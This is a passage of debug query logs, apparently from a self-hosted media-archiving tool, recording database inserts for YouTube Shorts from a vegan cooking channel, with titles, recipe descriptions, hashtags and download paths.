BOK CHOY! 🥬", "20d1db92-7527-453a-8dd9-5d3394c7eac1", 1, [], 20, false, "YOLHBhFacXs", "https://www.youtube.com/shorts/YOLHBhFacXs", 479, "/downloads/downloads/alec/Steamy Vegan/2022-04-28 WASH YOUR BOK CHOY! 🥬/WASH YOUR BOK CHOY! 🥬 [YOLHBhFacXs].NA", false, false, true, 2, ~U[2022-04-28 17:05:30Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "How to wash + prep [rescued] baby bok choy 🥬 feat. @pekoproduce !\n\nRegular and baby bok choy can be pretty dirty - so here’s the easiest way to wash and prep them so you can get straight to munching 😁\n\nSlice off the bottom inch - place the leafy greens in a colander - rinse in cold water thoroughly to wash off any dirt - dry in a salad spinner/towel - READY TO USE! 🤩\n\nI steamed them with just a pinch of salt and pepper - simply delicious! 😍 Who else got some of this good green stuff in their #pekoproduce box this week? 🥬🥬🥬\n\nPS: Peko Produce is Vancouver’s 🇨🇦 first imperfect produce delivery service that saves thousands of pounds of perfectly edible/surplus produce from going to our #landfills. They are helping to battle Canada’s #foodwaste crises and have made it SO easy for you too, as well! For only $25 per mystery box of ‘peculiar’ produce you can help Peko, our farmers and Mother Earth 🌍 $5 OFF LINK IN @steamyvegankitchen BIO! \n\n#steamyvegankitchen #steamyvegan #foodwastewarriors #climatecrises #foodprepping #foodprepideas #mealprepideas #vancityvegans #vancityfoodies #vancouvervegans #vancouverveganfoodie\n\nMusic by frumhere - designer sadness. - https://thmatc.co/?l=795A6766", "WASH YOUR BOK CHOY! 🥬", 1, 20, false, "YOLHBhFacXs", "https://www.youtube.com/shorts/YOLHBhFacXs", "/downloads/downloads/alec/Steamy Vegan/2022-04-28 WASH YOUR BOK CHOY! 🥬/WASH YOUR BOK CHOY! 🥬 [YOLHBhFacXs].NA", true, ~U[2022-04-28 17:05:30Z]] 20:31:11.272 [debug] QUERY OK source="sources" db=1.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.274 [debug] QUERY OK source="media_items" db=1.6ms idle=5.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-27 16:18:51Z], 1] 20:31:11.275 [debug] QUERY OK source="media_items" db=0.7ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The BEST truffle fries in Canada! 🇨🇦 🍟 \n\nThat CRUNCH 🤤 Whenever we visit #bowenisland we ALWAYS have to stop at @rustiquebistrobowen at least once (usually more 😅) because their TRUFFLE FRIES ARE OUT OF THIS WORLD! \n\nThey come with Parmesan cheese but if you ask they’ll serve it without 😉 #makeitvegan They’re hot, crispy, salty and soooo truffley… if you’re heading to Bowen anytime soon DON’T skip this! I promise you won’t regret it 😍\n\n#steamyvegankitchen #steamyvegan #rustiquebistroonbowen #trufflefries #bowenislandtourism #bowenislandbc #bowenislandlife #vancityvegan #vancityvegans #vancity #vancitybuzz #vancityeats #vancityfeature #vancouverfoodie #vancouverveganfoodie #vancouvervegan #vancouvervegans #vancouverveganscene", "BEST truffle fries in Canada! 🇨🇦 🍟", "cb301d6d-960a-420e-8487-6c0468ed723b", 1, [], 28, false, "UDb4Ljs4YOs", "https://www.youtube.com/shorts/UDb4Ljs4YOs", 480, "/downloads/downloads/alec/Steamy Vegan/2022-04-27 BEST truffle fries in Canada! 🇨🇦 🍟/BEST truffle fries in Canada! 🇨🇦 🍟 [UDb4Ljs4YOs].NA", false, false, true, 1, ~U[2022-04-27 16:18:51Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "The BEST truffle fries in Canada! 🇨🇦 🍟 \n\nThat CRUNCH 🤤 Whenever we visit #bowenisland we ALWAYS have to stop at @rustiquebistrobowen at least once (usually more 😅) because their TRUFFLE FRIES ARE OUT OF THIS WORLD! \n\nThey come with Parmesan cheese but if you ask they’ll serve it without 😉 #makeitvegan They’re hot, crispy, salty and soooo truffley… if you’re heading to Bowen anytime soon DON’T skip this! I promise you won’t regret it 😍\n\n#steamyvegankitchen #steamyvegan #rustiquebistroonbowen #trufflefries #bowenislandtourism #bowenislandbc #bowenislandlife #vancityvegan #vancityvegans #vancity #vancitybuzz #vancityeats #vancityfeature #vancouverfoodie #vancouverveganfoodie #vancouvervegan #vancouvervegans #vancouverveganscene", "BEST truffle fries in Canada! 🇨🇦 🍟", 1, 28, false, "UDb4Ljs4YOs", "https://www.youtube.com/shorts/UDb4Ljs4YOs", "/downloads/downloads/alec/Steamy Vegan/2022-04-27 BEST truffle fries in Canada! 🇨🇦 🍟/BEST truffle fries in Canada! 🇨🇦 🍟 [UDb4Ljs4YOs].NA", true, ~U[2022-04-27 16:18:51Z]] 20:31:11.275 [debug] QUERY OK source="sources" db=0.6ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.277 [debug] QUERY OK source="media_items" db=1.6ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-26 16:27:15Z], 1] 20:31:11.281 [debug] QUERY OK source="media_items" db=1.4ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ROASTED GARLIC 🧄 + ONION 🧅 DIP feat. rescued produce from @pekoproduce 🙌🏻 #VeganGlutenFree, baby!\n\nWho else got loads of cute little onions in their #pekoproduce boxes this Sunday? 🙋🏻\u200D♀️ I knew I had to make something yummy with them so I made this delicious and plant-based protein packed dip! 🤤 \n\nIt’s perfectly sweet and savoury that packs a BIG punch 🥊 of flavour! 😋\n\nINGREDIENTS\n🔸3 cups roughly chopped [rescued] onion (roughly 6 small)\n🔸1 bulb garlic, top sliced off \n🔸1 tbsp maple syrup \n🔸1 tbsp GF soy sauce or tamari\n🔸1.5 tsp neutral oil \n🔸1/2 tsp sea salt \n🔸1.5 tsp nooch \n🔸1 cup soaked cashews \n🔸1 can white kidney beans \n🔸juice of 1/2 a lemon (🍋 rescued!) \n🔸few splashes of nondairy milk (plain unsweetened)\n🔸extra s+p to taste \n\nToss the chopped onions in a large bowl with the maple syrup, soy sauce, oil, salt and nooch until combined - spread out on a baking sheet - drizzle oil on cut part of garlic bulb and wrap in foil, place on baking sheet - bake for 40 minutes at 425F until golden with crispy edges - once cool enough to handle add roasted veg to food processor or high speed blender - add all remaining ingredients and blend until smooth (you will need to stop several times to scrape the edges and add more milk as needed to help it blend) - transfer to a bowl and chill if desired - serve with veggies, chips or in wraps and sandwiches - ENJOY!!! \n\nFollow @steamyvegankitchen for more steamy vegan recipes! ✅\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz ##buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #foodwastewarriors", "ROASTED GARLIC + ONION DIP feat. rescued produce from #PekoProduce! 🧄🧅 Vegan Gluten-Free", "36cb8909-a446-45ea-af0a-5613eccb1823", 1, [], 60, false, "UJ18IS21cMo", "https://www.youtube.com/shorts/UJ18IS21cMo", 481, "/downloads/downloads/alec/Steamy Vegan/2022-04-26 ROASTED GARLIC + ONION DIP feat. rescued produce from #PekoProduce! 🧄🧅 Vegan Gluten-Free/ROASTED GARLIC + ONION DIP feat. rescued produce from #PekoProduce! 🧄🧅 Vegan Gluten-Free [UJ18IS21cMo].NA", false, false, true, 2, ~U[2022-04-26 16:27:15Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "ROASTED GARLIC 🧄 + ONION 🧅 DIP feat. rescued produce from @pekoproduce 🙌🏻 #VeganGlutenFree, baby!\n\nWho else got loads of cute little onions in their #pekoproduce boxes this Sunday? 🙋🏻\u200D♀️ I knew I had to make something yummy with them so I made this delicious and plant-based protein packed dip! 🤤 \n\nIt’s perfectly sweet and savoury that packs a BIG punch 🥊 of flavour! 😋\n\nINGREDIENTS\n🔸3 cups roughly chopped [rescued] onion (roughly 6 small)\n🔸1 bulb garlic, top sliced off \n🔸1 tbsp maple syrup \n🔸1 tbsp GF soy sauce or tamari\n🔸1.5 tsp neutral oil \n🔸1/2 tsp sea salt \n🔸1.5 tsp nooch \n🔸1 cup soaked cashews \n🔸1 can white kidney beans \n🔸juice of 1/2 a lemon (🍋 rescued!) \n🔸few splashes of nondairy milk (plain unsweetened)\n🔸extra s+p to taste \n\nToss the chopped onions in a large bowl with the maple syrup, soy sauce, oil, salt and nooch until combined - spread out on a baking sheet - drizzle oil on cut part of garlic bulb and wrap in foil, place on baking sheet - bake for 40 minutes at 425F until golden with crispy edges - once cool enough to handle add roasted veg to food processor or high speed blender - add all remaining ingredients and blend until smooth (you will need to stop several times to scrape the edges and add more milk as needed to help it blend) - transfer to a bowl and chill if desired - serve with veggies, chips or in wraps and sandwiches - ENJOY!!! \n\nFollow @steamyvegankitchen for more steamy vegan recipes! ✅\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz ##buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #foodwastewarriors", "ROASTED GARLIC + ONION DIP feat. rescued produce from #PekoProduce! 🧄🧅 Vegan Gluten-Free", 1, 60, false, "UJ18IS21cMo", "https://www.youtube.com/shorts/UJ18IS21cMo", "/downloads/downloads/alec/Steamy Vegan/2022-04-26 ROASTED GARLIC + ONION DIP feat. rescued produce from #PekoProduce! 🧄🧅 Vegan Gluten-Free/ROASTED GARLIC + ONION DIP feat. rescued produce from #PekoProduce! 🧄🧅 Vegan Gluten-Free [UJ18IS21cMo].NA", true, ~U[2022-04-26 16:27:15Z]] 20:31:11.282 [debug] QUERY OK source="sources" db=0.5ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.284 [debug] QUERY OK source="media_items" db=1.7ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-26 00:00:46Z], 1] 20:31:11.285 [debug] QUERY OK source="media_items" db=0.7ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ESCAPE FROM SNUG COVE!!! 🌊 \n\nBrad and I went to Bowen Island 🇨🇦 for our 5 year wedding anniversary (as we do every year!) and we just couldn’t help ourselves from being silly 🙃 \n\nWILL WE MAKE IT OUT ALIVE? 😱 Only one way to find out. Stay tuned for our very first vlog hitting our YouTube channel later this week! Plus maybe a few mini vlogs on the ‘gram 🤓\n\n#steamyvegankitchen #steamyvegan #bowenisland #bowenislandtourism #bowenislandbc #beautifulbritishcolumbia🇨🇦 #weddinganniversary #tourismbc #snugcove #snugcovebowenisland #yvrvegan #yvrvegans #yvr #yvrtravel #vancitybuzz #vancityfeature #vancityvibe #vancityvegans #vancityvegan #yvrfoodie", "ESCAPE FROM SNUG COVE 🌊", "a741fc17-e2e0-4790-ad26-e397b88ed460", 1, [], 59, false, "WRzEeEwxOeE", "https://www.youtube.com/shorts/WRzEeEwxOeE", 482, "/downloads/downloads/alec/Steamy Vegan/2022-04-26 ESCAPE FROM SNUG COVE 🌊/ESCAPE FROM SNUG COVE 🌊 [WRzEeEwxOeE].NA", false, false, true, 2, ~U[2022-04-26 00:00:46Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "ESCAPE FROM SNUG COVE!!! 🌊 \n\nBrad and I went to Bowen Island 🇨🇦 for our 5 year wedding anniversary (as we do every year!) and we just couldn’t help ourselves from being silly 🙃 \n\nWILL WE MAKE IT OUT ALIVE? 😱 Only one way to find out. Stay tuned for our very first vlog hitting our YouTube channel later this week! Plus maybe a few mini vlogs on the ‘gram 🤓\n\n#steamyvegankitchen #steamyvegan #bowenisland #bowenislandtourism #bowenislandbc #beautifulbritishcolumbia🇨🇦 #weddinganniversary #tourismbc #snugcove #snugcovebowenisland #yvrvegan #yvrvegans #yvr #yvrtravel #vancitybuzz #vancityfeature #vancityvibe #vancityvegans #vancityvegan #yvrfoodie", "ESCAPE FROM SNUG COVE 🌊", 1, 59, false, "WRzEeEwxOeE", "https://www.youtube.com/shorts/WRzEeEwxOeE", "/downloads/downloads/alec/Steamy Vegan/2022-04-26 ESCAPE FROM SNUG COVE 🌊/ESCAPE FROM SNUG COVE 🌊 [WRzEeEwxOeE].NA", true, ~U[2022-04-26 00:00:46Z]] 20:31:11.286 [debug] QUERY OK source="sources" db=0.6ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.288 [debug] QUERY OK source="media_items" db=1.7ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-25 16:37:23Z], 1] 20:31:11.289 [debug] QUERY OK source="media_items" db=0.8ms idle=6.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["MAC ‘n CHEESE GRILLED CHEESE! 🧀 🥪 #veganglutenfree baby 🙌🏻\n\nWhen you can’t decide between mac n cheese or a grilled cheese, why not just have both? 🤤 YOU KNOW YOU WANT TO TRY THIS! \n\nCheck out my full YouTube video for the recipe - and see what other yummy stuff we get up to experimenting with in first episode of our new series #CheatDayChallenge! 😎\nFULL VIDEO: https://youtu.be/2PBpb8LJWwE\n\nDon’t forget to follow @steamyvegankitchen for more vegan deliciousness! ✅\n\n#steamyvegankitchen #steamyvegan #veganfoods #veganfoodporn #vegangrilledcheese #glutenfreevegan #vegancheatmeal #grilledcheese #veganmacncheese #epicveganfood #macncheesegrilledcheese #macncheese", "MAC ‘N CHEESE GRILLED CHEESE 🧀 🥪 vegan and gluten-free! #CHEATDAYCHALLENGE", "1b0249d3-a1e7-49ee-b064-b488f3c56e92", 1, [], 32, false, "pxPjENYTwdc", "https://www.youtube.com/shorts/pxPjENYTwdc", 483, "/downloads/downloads/alec/Steamy Vegan/2022-04-25 MAC ‘N CHEESE GRILLED CHEESE 🧀 🥪 vegan and gluten-free! #CHEATDAYCHALLENGE/MAC ‘N CHEESE GRILLED CHEESE 🧀 🥪 vegan and gluten-free! #CHEATDAYCHALLENGE [pxPjENYTwdc].NA", false, false, true, 1, ~U[2022-04-25 16:37:23Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "MAC ‘n CHEESE GRILLED CHEESE! 🧀 🥪 #veganglutenfree baby 🙌🏻\n\nWhen you can’t decide between mac n cheese or a grilled cheese, why not just have both? 🤤 YOU KNOW YOU WANT TO TRY THIS! \n\nCheck out my full YouTube video for the recipe - and see what other yummy stuff we get up to experimenting with in first episode of our new series #CheatDayChallenge! 😎\nFULL VIDEO: https://youtu.be/2PBpb8LJWwE\n\nDon’t forget to follow @steamyvegankitchen for more vegan deliciousness! ✅\n\n#steamyvegankitchen #steamyvegan #veganfoods #veganfoodporn #vegangrilledcheese #glutenfreevegan #vegancheatmeal #grilledcheese #veganmacncheese #epicveganfood #macncheesegrilledcheese #macncheese", "MAC ‘N CHEESE GRILLED CHEESE 🧀 🥪 vegan and gluten-free! #CHEATDAYCHALLENGE", 1, 32, false, "pxPjENYTwdc", "https://www.youtube.com/shorts/pxPjENYTwdc", "/downloads/downloads/alec/Steamy Vegan/2022-04-25 MAC ‘N CHEESE GRILLED CHEESE 🧀 🥪 vegan and gluten-free! #CHEATDAYCHALLENGE/MAC ‘N CHEESE GRILLED CHEESE 🧀 🥪 vegan and gluten-free! #CHEATDAYCHALLENGE [pxPjENYTwdc].NA", true, ~U[2022-04-25 16:37:23Z]] 20:31:11.290 [debug] QUERY OK source="sources" db=0.8ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.292 [debug] QUERY OK source="media_items" db=2.1ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-20 19:04:29Z], 1] 20:31:11.293 [debug] QUERY OK source="media_items" db=0.8ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SWEET ‘n SAVOURY BREAKFAST GRILLED CHEESE! We’d like to think this is the most epic grilled cheese ever made. 🤯\n\nCheck out the full video from our new #CHEATDAYCHALLENGE series here! https://youtu.be/2PBpb8LJWwE\n\n#steamyvegankitchen #steamyvegan #epicgrilledcheese #vegangrilledcheese #vegancheatmeal #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan", "SWEET ‘N SAVOURY EPIC BREAKFAST GRILLED CHEESE 🤯🧀🥪", "fd775816-1e35-4a10-9d72-018a53505d56", 1, [], 52, false, "EJ5gbrcfjn8", "https://www.youtube.com/shorts/EJ5gbrcfjn8", 484, "/downloads/downloads/alec/Steamy Vegan/2022-04-20 SWEET ‘N SAVOURY EPIC BREAKFAST GRILLED CHEESE 🤯🧀🥪/SWEET ‘N SAVOURY EPIC BREAKFAST GRILLED CHEESE 🤯🧀🥪 [EJ5gbrcfjn8].NA", false, false, true, 1, ~U[2022-04-20 19:04:29Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "SWEET ‘n SAVOURY BREAKFAST GRILLED CHEESE! We’d like to think this is the most epic grilled cheese ever made. 🤯\n\nCheck out the full video from our new #CHEATDAYCHALLENGE series here! https://youtu.be/2PBpb8LJWwE\n\n#steamyvegankitchen #steamyvegan #epicgrilledcheese #vegangrilledcheese #vegancheatmeal #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan", "SWEET ‘N SAVOURY EPIC BREAKFAST GRILLED CHEESE 🤯🧀🥪", 1, 52, false, "EJ5gbrcfjn8", "https://www.youtube.com/shorts/EJ5gbrcfjn8", "/downloads/downloads/alec/Steamy Vegan/2022-04-20 SWEET ‘N SAVOURY EPIC BREAKFAST GRILLED CHEESE 🤯🧀🥪/SWEET ‘N SAVOURY EPIC BREAKFAST GRILLED CHEESE 🤯🧀🥪 [EJ5gbrcfjn8].NA", true, ~U[2022-04-20 19:04:29Z]] 20:31:11.295 [debug] QUERY OK source="sources" db=0.8ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.297 [debug] QUERY OK source="media_items" db=1.5ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-18 02:24:10Z], 1] 20:31:11.299 [debug] QUERY OK source="media_items" db=2.0ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["BANANA BLENDER PANCAKES 🥞 brought to you by rescued bananas 🍌 from @pekoproduce! HAPPY EASTER 🐰\n\nI often get bananas in my #PekoProduce mystery boxes which I LOVE. 😍 If I happen to have an over abundance or some of them arrive a bit bruised (tis the name of the game when you’re working with surplus/peculiar produce!) I like making a batch of banana blender pancakes! Any bruised parts are totally fine to use when you’re just blending it all up anyway 😊 SAVE THIS RECIPE FOR LATER! ✅ or head to my blog (link in bio) and search for “Banana Pancakes” 😘\n\n1 overripe banana\n1 cup GF rolled oats \n3/4 cup non-dairy milk (unsweetened)\n1 tsp cinnamon \n1/4 tsp salt \n1/2 tbsp baking powder \n1 tbsp ACV\n1 tbsp maple syrup \n\nBlend all ingredients in a blender on HIGH speed for 30-45 seconds, until smooth - heat vegan butter in a frying pan - pour 1/3 cup per pancake - cook on both sides for 3-4 minutes until golden on the edges. Serve with your favourite toppings and ENJOY!! 🤤\n\n#steamyvegankitchen #steamyvegan #veganpancakes #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz ##buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nhttps://thmatc.co/?l=309E581F", "BLENDER BANANA PANCAKES 🥞 🍌 featuring Peko Produce!", "ddb8f1df-58c7-4a48-9a17-54de01f88403", 1, [], 52, false, "tHJoJsYTrbI", "https://www.youtube.com/shorts/tHJoJsYTrbI", 485, "/downloads/downloads/alec/Steamy Vegan/2022-04-18 BLENDER BANANA PANCAKES 🥞 🍌 featuring Peko Produce!/BLENDER BANANA PANCAKES 🥞 🍌 featuring Peko Produce! [tHJoJsYTrbI].NA", false, false, true, 1, ~U[2022-04-18 02:24:10Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "BANANA BLENDER PANCAKES 🥞 brought to you by rescued bananas 🍌 from @pekoproduce! HAPPY EASTER 🐰\n\nI often get bananas in my #PekoProduce mystery boxes which I LOVE. 😍 If I happen to have an over abundance or some of them arrive a bit bruised (tis the name of the game when you’re working with surplus/peculiar produce!) I like making a batch of banana blender pancakes! Any bruised parts are totally fine to use when you’re just blending it all up anyway 😊 SAVE THIS RECIPE FOR LATER! ✅ or head to my blog (link in bio) and search for “Banana Pancakes” 😘\n\n1 overripe banana\n1 cup GF rolled oats \n3/4 cup non-dairy milk (unsweetened)\n1 tsp cinnamon \n1/4 tsp salt \n1/2 tbsp baking powder \n1 tbsp ACV\n1 tbsp maple syrup \n\nBlend all ingredients in a blender on HIGH speed for 30-45 seconds, until smooth - heat vegan butter in a frying pan - pour 1/3 cup per pancake - cook on both sides for 3-4 minutes until golden on the edges. Serve with your favourite toppings and ENJOY!! 🤤\n\n#steamyvegankitchen #steamyvegan #veganpancakes #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz ##buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nhttps://thmatc.co/?l=309E581F", "BLENDER BANANA PANCAKES 🥞 🍌 featuring Peko Produce!", 1, 52, false, "tHJoJsYTrbI", "https://www.youtube.com/shorts/tHJoJsYTrbI", "/downloads/downloads/alec/Steamy Vegan/2022-04-18 BLENDER BANANA PANCAKES 🥞 🍌 featuring Peko Produce!/BLENDER BANANA PANCAKES 🥞 🍌 featuring Peko Produce! [tHJoJsYTrbI].NA", true, ~U[2022-04-18 